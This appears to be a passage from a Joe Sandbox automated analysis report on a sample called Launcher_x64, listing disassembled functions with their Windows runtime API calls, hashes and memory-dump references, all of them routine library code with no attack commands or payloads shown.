Associated: 00000000.00000002.1731334696.0000000000D91000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_d00000_Launcher_x64.jbxd

Similarity

API ID: ErrorLast$EnumLocalesSystem
String ID:
API String ID: 2417226690-0
Opcode ID: 0b82a0c2e973c706c2c0e3f4d1d592aa629fe6f58c208cab18503f11b9348a6c
Instruction ID: 85a3b3308c57f466df3a7341db5df93c6443a7811753143edfa8b5b94f43f4f1
Opcode Fuzzy Hash: 0b82a0c2e973c706c2c0e3f4d1d592aa629fe6f58c208cab18503f11b9348a6c
Instruction Fuzzy Hash: F3F046322013145FCB245F38BC81A7A7B91EF9036CB18442CF9418B690CAB2AC82DB70

Function 00D243A7 Relevance: 1.5, APIs: 1, Instructions: 33COMMONLIBRARYCODE

Download Yara Rule

APIs

Part of subcall function 00D1F547: EnterCriticalSection.KERNEL32(?,?,00D1CD41,00000000,00D3E728,0000000C,00D1CCFA,00001000,?,00D244CA,00001000,?,00D235B1,00000001,00000364,?), ref: 00D1F556

EnumSystemLocalesW.KERNEL32(00D2439A,00000001,00D3EBA0,0000000C,00D23DA8,-00000050), ref: 00D243DF

Memory Dump Source

Source File: 00000000.00000002.1731119078.0000000000D01000.00000020.00000001.01000000.00000003.sdmp, Offset: 00D00000, based on PE: true

Associated: 00000000.00000002.1731090431.0000000000D00000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1731148881.0000000000D34000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1731171791.0000000000D3F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1731197995.0000000000D40000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1731214005.0000000000D44000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1731290251.0000000000D47000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1731334696.0000000000D91000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_d00000_Launcher_x64.jbxd

Similarity

API ID: CriticalEnterEnumLocalesSectionSystem
String ID:
API String ID: 1272433827-0
Opcode ID: f8fad99a92c93b4cf97cfdbd32693d98183a5046d8b77ebc08aabd3b10fc9e12
Instruction ID: 9eff9f63f7f669b6252b977916fff10ee65278acfb683add17feb497386c5a54
Opcode Fuzzy Hash: f8fad99a92c93b4cf97cfdbd32693d98183a5046d8b77ebc08aabd3b10fc9e12
Instruction Fuzzy Hash: 4EF01436A00300AFDB04EF98E842B9D77A0EB45724F10416AF410DB3A0DBB55940CF70

Function 00D28A52 Relevance: 1.5, APIs: 1, Instructions: 31COMMONLIBRARYCODE

Download Yara Rule

APIs

Part of subcall function 00D23413: GetLastError.KERNEL32(00000000,?,00D25749), ref: 00D23417
Part of subcall function 00D23413: SetLastError.KERNEL32(00000000,?,?,00000028,00D1F7C9), ref: 00D234B9

EnumSystemLocalesW.KERNEL32(00D28A9D,00000001,?,?,?,00D284DD,-00000050,-00000002,00000000,?,00000055,?,-00000050,?,?,?), ref: 00D28A89

Memory Dump Source

Source File: 00000000.00000002.1731119078.0000000000D01000.00000020.00000001.01000000.00000003.sdmp, Offset: 00D00000, based on PE: true

Associated: 00000000.00000002.1731090431.0000000000D00000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1731148881.0000000000D34000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1731171791.0000000000D3F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1731197995.0000000000D40000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1731214005.0000000000D44000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1731290251.0000000000D47000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1731334696.0000000000D91000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_d00000_Launcher_x64.jbxd

Similarity

API ID: ErrorLast$EnumLocalesSystem
String ID:
API String ID: 2417226690-0
Opcode ID: 59fb9f513f3fb24524434b1d11c5e336003cac0cbfb092b85539925b52e22582
Instruction ID: 145070a7011f1773f0169b598d4bd6a203d71591d4b06bb4388633206ec52aa8
Opcode Fuzzy Hash: 59fb9f513f3fb24524434b1d11c5e336003cac0cbfb092b85539925b52e22582
Instruction Fuzzy Hash: 6CF055363043155BCB04AF35F80566A7F94EFC1728B0A005AEA068B240CA71E982DBB0

Function 00D23EAC Relevance: 1.5, APIs: 1, Instructions: 24COMMONLIBRARYCODE

Download Yara Rule

APIs

GetLocaleInfoW.KERNEL32(00000000,?,00000000,?,-00000050,?,00000000,?,00D1E2A3,?,20001004,00000000,00000002,?,?,00D1D1B5), ref: 00D23EE0

Memory Dump Source

Source File: 00000000.00000002.1731119078.0000000000D01000.00000020.00000001.01000000.00000003.sdmp, Offset: 00D00000, based on PE: true

Associated: 00000000.00000002.1731090431.0000000000D00000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1731148881.0000000000D34000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1731171791.0000000000D3F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1731197995.0000000000D40000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1731214005.0000000000D44000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1731290251.0000000000D47000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1731334696.0000000000D91000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_d00000_Launcher_x64.jbxd

Similarity

API ID: InfoLocale
String ID:
API String ID: 2299586839-0
Opcode ID: 2d41d830336ecb19f8fdfb57b6c453c25e61541251c3e2e11dcca1de69116bfb
Instruction ID: 66969eb7b6544adae74c8f93c1eb378a65c22839c7868b99b196247c998111b4
Opcode Fuzzy Hash: 2d41d830336ecb19f8fdfb57b6c453c25e61541251c3e2e11dcca1de69116bfb
Instruction Fuzzy Hash: 2CE04F3150023CBBCF226F61FC05AAE3E5AEF547A4F054411FD1566261CB368920AAB4

Function 00D1651C Relevance: 1.5, APIs: 1, Instructions: 3COMMON

Download Yara Rule

APIs

SetUnhandledExceptionFilter.KERNEL32(Function_0001663D), ref: 00D16521

Memory Dump Source

Source File: 00000000.00000002.1731119078.0000000000D01000.00000020.00000001.01000000.00000003.sdmp, Offset: 00D00000, based on PE: true

Associated: 00000000.00000002.1731090431.0000000000D00000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1731148881.0000000000D34000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1731171791.0000000000D3F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1731197995.0000000000D40000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1731214005.0000000000D44000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1731290251.0000000000D47000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1731334696.0000000000D91000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_d00000_Launcher_x64.jbxd

Similarity

API ID: ExceptionFilterUnhandled
String ID:
API String ID: 3192549508-0
Opcode ID: f04981580376c54d658e66c560dfa666f21a06facd73b5faebc4b3eb094a90d2
Instruction ID: 590d945bbafa92ad5f24cf3bd4ef83bf878d974298e86365c4643a8e6f06663c
Opcode Fuzzy Hash: f04981580376c54d658e66c560dfa666f21a06facd73b5faebc4b3eb094a90d2
Instruction Fuzzy Hash:

Function 00D24ABC Relevance: 1.3, APIs: 1, Instructions: 5memoryCOMMON

Download Yara Rule

APIs

GetProcessHeap.KERNEL32 ref: 00D24ABC

Memory Dump Source

Source File: 00000000.00000002.1731119078.0000000000D01000.00000020.00000001.01000000.00000003.sdmp, Offset: 00D00000, based on PE: true

Associated: 00000000.00000002.1731090431.0000000000D00000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1731148881.0000000000D34000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1731171791.0000000000D3F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1731197995.0000000000D40000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1731214005.0000000000D44000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1731290251.0000000000D47000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1731334696.0000000000D91000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_d00000_Launcher_x64.jbxd

Similarity

API ID: HeapProcess
String ID:
API String ID: 54951025-0
Opcode ID: 4d0b5ff96482461a80554ab79d908f2287f0ed5455ffb9e621f52d67ccec4d45
Instruction ID: 3e154ef0cb8451951d1aeb0df47b0fc69a6b48971588c73f7fc0750dcfaa175a
Opcode Fuzzy Hash: 4d0b5ff96482461a80554ab79d908f2287f0ed5455ffb9e621f52d67ccec4d45
Instruction Fuzzy Hash: 55A00178602305CBA7548F35BB0A3293AAAAA86691745406DA509C5260EA2894509E21

Function 00D01000 Relevance: .1, Instructions: 109COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1731119078.0000000000D01000.00000020.00000001.01000000.00000003.sdmp, Offset: 00D00000, based on PE: true

Associated: 00000000.00000002.1731090431.0000000000D00000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1731148881.0000000000D34000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1731171791.0000000000D3F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1731197995.0000000000D40000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1731214005.0000000000D44000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1731290251.0000000000D47000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1731334696.0000000000D91000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_d00000_Launcher_x64.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 835e93e315a1489a60edd3b4a615a23b8f0ac8c2783df1799a65006cb9cc36b9
Instruction ID: a13d6d7cf92c177c07117e86705f87953345e8d68e71d990b27cf1f3b27f3829
Opcode Fuzzy Hash: 835e93e315a1489a60edd3b4a615a23b8f0ac8c2783df1799a65006cb9cc36b9
Instruction Fuzzy Hash: 9C519AB4D0020E9FCB44DFA8D591AEEBBF4EB09350F24845AE859FB350D734AA41CB65

Function 00D016C0 Relevance: .0, Instructions: 15COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1731119078.0000000000D01000.00000020.00000001.01000000.00000003.sdmp, Offset: 00D00000, based on PE: true

Associated: 00000000.00000002.1731090431.0000000000D00000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1731148881.0000000000D34000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1731171791.0000000000D3F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1731197995.0000000000D40000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1731214005.0000000000D44000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1731290251.0000000000D47000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1731334696.0000000000D91000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_d00000_Launcher_x64.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 16d1b4109c38f512293157fddd189da778e56657208dd0f34553f01270312c15
Instruction ID: adc3eda15ee5b26e7fff434504f08729c65e9989f075e610f3babd6e210943ef
Opcode Fuzzy Hash: 16d1b4109c38f512293157fddd189da778e56657208dd0f34553f01270312c15
Instruction Fuzzy Hash: 73D06C3E641A58AFC210CF4AE440D41F7B8FB8A670B158066EA0993B20C231F811CEE0

Function 00D31F22 Relevance: 12.2, APIs: 8, Instructions: 248COMMON

Download Yara Rule

APIs

GetCPInfo.KERNEL32(?,?,?,?,?,00D31F0D,?,?,?,?,?,?,?,?,?), ref: 00D31FC8
__alloca_probe_16.LIBCMT ref: 00D32083
__alloca_probe_16.LIBCMT ref: 00D32112
__freea.LIBCMT ref: 00D3215D
__freea.LIBCMT ref: 00D32163
__freea.LIBCMT ref: 00D32199
__freea.LIBCMT ref: 00D3219F
__freea.LIBCMT ref: 00D321AF

Memory Dump Source

Source File: 00000000.00000002.1731119078.0000000000D01000.00000020.00000001.01000000.00000003.sdmp, Offset: 00D00000, based on PE: true

Associated: 00000000.00000002.1731090431.0000000000D00000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1731148881.0000000000D34000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1731171791.0000000000D3F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1731197995.0000000000D40000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1731214005.0000000000D44000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1731290251.0000000000D47000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1731334696.0000000000D91000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_d00000_Launcher_x64.jbxd

Similarity

API ID: __freea$__alloca_probe_16$Info
String ID:
API String ID: 127012223-0
Opcode ID: 199ad5061f37f1dff7dd5a8ba085f044f5af52072086aab1b28030a723268f73
Instruction ID: c0d97c1af6f38bf4fe7d2ef02e22764569d7bbfc72b08921a31e10bcbbacc75b
Opcode Fuzzy Hash: 199ad5061f37f1dff7dd5a8ba085f044f5af52072086aab1b28030a723268f73
Instruction Fuzzy Hash: C771D072E00309ABDF259A948D42BBF7BBAEF55310F2C4019EA44A7281DB75DC44C7B0

Function 00D16A69 Relevance: 12.2, APIs: 8, Instructions: 177COMMON

Download Yara Rule

APIs

MultiByteToWideChar.KERNEL32(00000000,00000001,00000001,?), ref: 00D16AB0
__alloca_probe_16.LIBCMT ref: 00D16ADC
MultiByteToWideChar.KERNEL32(00000000,00000001,00000001,?,00000000,00000000), ref: 00D16B1B
LCMapStringEx.KERNEL32(?,?,00000000,00000000,00000000,00000000,00000000,00000000,00000000), ref: 00D16B38
LCMapStringEx.KERNEL32(?,?,00000000,00000000,?,?,00000000,00000000,00000000), ref: 00D16B77
__alloca_probe_16.LIBCMT ref: 00D16B94
LCMapStringEx.KERNEL32(?,?,00000000,00000001,00000000,00000000,00000000,00000000,00000000), ref: 00D16BD6
WideCharToMultiByte.KERNEL32(00000000,00000000,00000000,00000000,?,?,00000000,00000000), ref: 00D16BF9

Memory Dump Source

Source File: 00000000.00000002.1731119078.0000000000D01000.00000020.00000001.01000000.00000003.sdmp, Offset: 00D00000, based on PE: true

Associated: 00000000.00000002.1731090431.0000000000D00000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1731148881.0000000000D34000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1731171791.0000000000D3F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1731197995.0000000000D40000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1731214005.0000000000D44000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1731290251.0000000000D47000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1731334696.0000000000D91000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_d00000_Launcher_x64.jbxd

Similarity

API ID: ByteCharMultiStringWide$__alloca_probe_16
String ID:
API String ID: 2040435927-0
Opcode ID: b2806f2c04466e296f1c9ed7b428307fa531ff5e478aa03248aac30c30efc4ef
Instruction ID: 9089ab254ef06a33ee206fd136aa99a1709e548ff1c5927491d4f9221feaf509
Opcode Fuzzy Hash: b2806f2c04466e296f1c9ed7b428307fa531ff5e478aa03248aac30c30efc4ef
Instruction Fuzzy Hash: 76517EB260020ABBEB205F90EC45FEB7FAAEF44754F194428F955E6190DB74DC908BB0

Function 00D26032 Relevance: 10.8, APIs: 7, Instructions: 329COMMON

Download Yara Rule

APIs

_strrchr.LIBCMT ref: 00D260B8

Memory Dump Source

Source File: 00000000.00000002.1731119078.0000000000D01000.00000020.00000001.01000000.00000003.sdmp, Offset: 00D00000, based on PE: true

Associated: 00000000.00000002.1731090431.0000000000D00000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1731148881.0000000000D34000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1731171791.0000000000D3F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1731197995.0000000000D40000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1731214005.0000000000D44000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1731290251.0000000000D47000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1731334696.0000000000D91000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_d00000_Launcher_x64.jbxd

Similarity

API ID: _strrchr
String ID:
API String ID: 3213747228-0
Opcode ID: c3ed0d376608a570b3b521b077c8efc077dfbec983f27d761b9b7f2e2db3b283
Instruction ID: 65ebb62169b0d1470ed381ec3e6d5d8fc2896633500cbe8e1eb3ccf3e30ec3b5
Opcode Fuzzy Hash: c3ed0d376608a570b3b521b077c8efc077dfbec983f27d761b9b7f2e2db3b283
Instruction Fuzzy Hash: B9B15972A00375DFDB12CF68EC81BAE7FA5EF65318F284155E944AB282D274E901C7B4

Function 00D17940 Relevance: 10.6, APIs: 5, Strings: 1, Instructions: 130COMMON

Download Yara Rule

APIs

_ValidateLocalCookies.LIBCMT ref: 00D17977
___except_validate_context_record.LIBVCRUNTIME ref: 00D1797F
_ValidateLocalCookies.LIBCMT ref: 00D17A08
__IsNonwritableInCurrentImage.LIBCMT ref: 00D17A33
_ValidateLocalCookies.LIBCMT ref: 00D17A88

Strings

csm, xrefs: 00D17A1D

Memory Dump Source

Source File: 00000000.00000002.1731119078.0000000000D01000.00000020.00000001.01000000.00000003.sdmp, Offset: 00D00000, based on PE: true

Associated: 00000000.00000002.1731090431.0000000000D00000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1731148881.0000000000D34000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1731171791.0000000000D3F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1731197995.0000000000D40000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1731214005.0000000000D44000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1731290251.0000000000D47000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1731334696.0000000000D91000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_d00000_Launcher_x64.jbxd

Similarity

API ID: CookiesLocalValidate$CurrentImageNonwritable___except_validate_context_record
String ID: csm
API String ID: 1170836740-1018135373
Opcode ID: 71568003e4e51a1dd5a26318f109360a913ae8bb0b8c2c17d129ee6b53c3ce2b
Instruction ID: dafaad03d73ca9af5bbd0b93b0f7913fd6c3df624b2423d65a8dabfb07e0cdde
Opcode Fuzzy Hash: 71568003e4e51a1dd5a26318f109360a913ae8bb0b8c2c17d129ee6b53c3ce2b
Instruction Fuzzy Hash: 1F41E434A04218ABCF11DF68E885ADE7BB5EF45324F188055E8199B362CB319E95CFB0

Function 00D16CBB Relevance: 10.5, APIs: 3, Strings: 3, Instructions: 15libraryloaderCOMMON

Download Yara Rule

APIs

GetModuleHandleW.KERNEL32(kernel32.dll), ref: 00D16CC1
GetProcAddress.KERNEL32(00000000,GetSystemTimePreciseAsFileTime), ref: 00D16CCF
GetProcAddress.KERNEL32(00000000,GetTempPath2W), ref: 00D16CE0

Strings

GetTempPath2W, xrefs: 00D16CD5
kernel32.dll, xrefs: 00D16CBC
GetSystemTimePreciseAsFileTime, xrefs: 00D16CC9

Memory Dump Source

Source File: 00000000.00000002.1731119078.0000000000D01000.00000020.00000001.01000000.00000003.sdmp, Offset: 00D00000, based on PE: true

Associated: 00000000.00000002.1731090431.0000000000D00000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1731148881.0000000000D34000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1731171791.0000000000D3F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1731197995.0000000000D40000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1731214005.0000000000D44000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1731290251.0000000000D47000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1731334696.0000000000D91000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_d00000_Launcher_x64.jbxd

Similarity

API ID: AddressProc$HandleModule
String ID: GetSystemTimePreciseAsFileTime$GetTempPath2W$kernel32.dll
API String ID: 667068680-1047828073
Opcode ID: ce9f8459bd8c5007804482157522f1dcf2f4176c8c87f6823be2acd2fb4f4b14
Instruction ID: e074455a983fb0cb76c8cee27ac77675357b8b714d60a76fa3e4ed5c5b367de7
Opcode Fuzzy Hash: ce9f8459bd8c5007804482157522f1dcf2f4176c8c87f6823be2acd2fb4f4b14
Instruction Fuzzy Hash: A8D0C77E6953205F83105FB57C0DC553EA5EB057117060466F845D3350D6B418558FB2

Function 00D2C0BA Relevance: 9.3, APIs: 6, Instructions: 292COMMONLIBRARYCODE

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1731119078.0000000000D01000.00000020.00000001.01000000.00000003.sdmp, Offset: 00D00000, based on PE: true

Associated: 00000000.00000002.1731090431.0000000000D00000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1731148881.0000000000D34000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1731171791.0000000000D3F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1731197995.0000000000D40000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1731214005.0000000000D44000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1731290251.0000000000D47000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1731334696.0000000000D91000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_d00000_Launcher_x64.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 6ec90123d4c80d95194574a5413967fc49dc1ab36b197a5381c284ded8b935b0
Instruction ID: 265f53bda9a63c6fb997e1fdde1c68571ed5ce20514bcffd4074831ae4e3f712
Opcode Fuzzy Hash: 6ec90123d4c80d95194574a5413967fc49dc1ab36b197a5381c284ded8b935b0
Instruction Fuzzy Hash: E6B1F270A14369AFDB11DF98E841BBD7BB1BF6A308F185158E80197392C770AD42CB75

Function 00D21FAE Relevance: 9.1, APIs: 6, Instructions: 60COMMONLIBRARYCODE

Download Yara Rule

APIs

GetLastError.KERNEL32(?,?,00D21FA5,00D17361,00D16681), ref: 00D21FBC
___vcrt_FlsGetValue.LIBVCRUNTIME ref: 00D21FCA
___vcrt_FlsSetValue.LIBVCRUNTIME ref: 00D21FE3
SetLastError.KERNEL32(00000000,00D21FA5,00D17361,00D16681), ref: 00D22035

Memory Dump Source

Source File: 00000000.00000002.1731119078.0000000000D01000.00000020.00000001.01000000.00000003.sdmp, Offset: 00D00000, based on PE: true

Associated: 00000000.00000002.1731090431.0000000000D00000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1731148881.0000000000D34000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1731171791.0000000000D3F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1731197995.0000000000D40000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1731214005.0000000000D44000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1731290251.0000000000D47000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1731334696.0000000000D91000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_d00000_Launcher_x64.jbxd

Similarity

API ID: ErrorLastValue___vcrt_
String ID:
API String ID: 3852720340-0
Opcode ID: ed49ea4d891cc915d607d0cbdecba202cac6a773dbb729e1c6627eedceded169
Instruction ID: 9172175d43b620fb54452a59cb75eadc4942d9008b64405bed5804baea7c9068
Opcode Fuzzy Hash: ed49ea4d891cc915d607d0cbdecba202cac6a773dbb729e1c6627eedceded169
Instruction Fuzzy Hash: C201B93A2063317EF6252F75BD459363A55DB7577C7340229F630891E2EFA24D01E970

Function 00D22826 Relevance: 9.1, APIs: 2, Strings: 3, Instructions: 301COMMONLIBRARYCODE

Download Yara Rule

APIs

type_info::operator==.LIBVCRUNTIME ref: 00D22945
CallUnexpected.LIBVCRUNTIME ref: 00D22BBE

Strings

csm, xrefs: 00D228D0
csm, xrefs: 00D22863
csm, xrefs: 00D2297C

Memory Dump Source

Source File: 00000000.00000002.1731119078.0000000000D01000.00000020.00000001.01000000.00000003.sdmp, Offset: 00D00000, based on PE: true

Associated: 00000000.00000002.1731090431.0000000000D00000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1731148881.0000000000D34000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1731171791.0000000000D3F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1731197995.0000000000D40000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1731214005.0000000000D44000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1731290251.0000000000D47000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1731334696.0000000000D91000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_d00000_Launcher_x64.jbxd

Similarity

API ID: CallUnexpectedtype_info::operator==
String ID: csm$csm$csm
API String ID: 2673424686-393685449
Opcode ID: ded4d7c9d5786f7a7a8b3e7d90eb16cac952cb772b27c3731f63af38aff9fff2
Instruction ID: 099f1a983bead430db8d892cac098312dab5aeb4eee53b7df2bc5f6ba609434e
Opcode Fuzzy Hash: ded4d7c9d5786f7a7a8b3e7d90eb16cac952cb772b27c3731f63af38aff9fff2
Instruction Fuzzy Hash: CEB16831800229AFCF25DFA4E8819BEB7B5FF68318F58415AF8116B216C735DA51CBB1

Function 00D1CA3C Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 42libraryloaderCOMMONLIBRARYCODE

Download Yara Rule

APIs

GetModuleHandleExW.KERNEL32(00000000,mscoree.dll,00000000,E7FA7683,?,?,00000000,00D33374,000000FF,?,00D1CAFD,00D1C9E4,?,00D1CB99,00000000), ref: 00D1CA71
GetProcAddress.KERNEL32(00000000,CorExitProcess), ref: 00D1CA83
FreeLibrary.KERNEL32(00000000,?,?,00000000,00D33374,000000FF,?,00D1CAFD,00D1C9E4,?,00D1CB99,00000000), ref: 00D1CAA5

Strings

mscoree.dll, xrefs: 00D1CA6A
CorExitProcess, xrefs: 00D1CA7B

Memory Dump Source

Source File: 00000000.00000002.1731119078.0000000000D01000.00000020.00000001.01000000.00000003.sdmp, Offset: 00D00000, based on PE: true

Associated: 00000000.00000002.1731090431.0000000000D00000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1731148881.0000000000D34000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1731171791.0000000000D3F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1731197995.0000000000D40000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1731214005.0000000000D44000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1731290251.0000000000D47000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1731334696.0000000000D91000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_d00000_Launcher_x64.jbxd

Similarity

API ID: AddressFreeHandleLibraryModuleProc
String ID: CorExitProcess$mscoree.dll
API String ID: 4061214504-1276376045
Opcode ID: 2ec70da9652abb6bdd633b8c01381a857fefd2f6d2565286116293291a31fba1
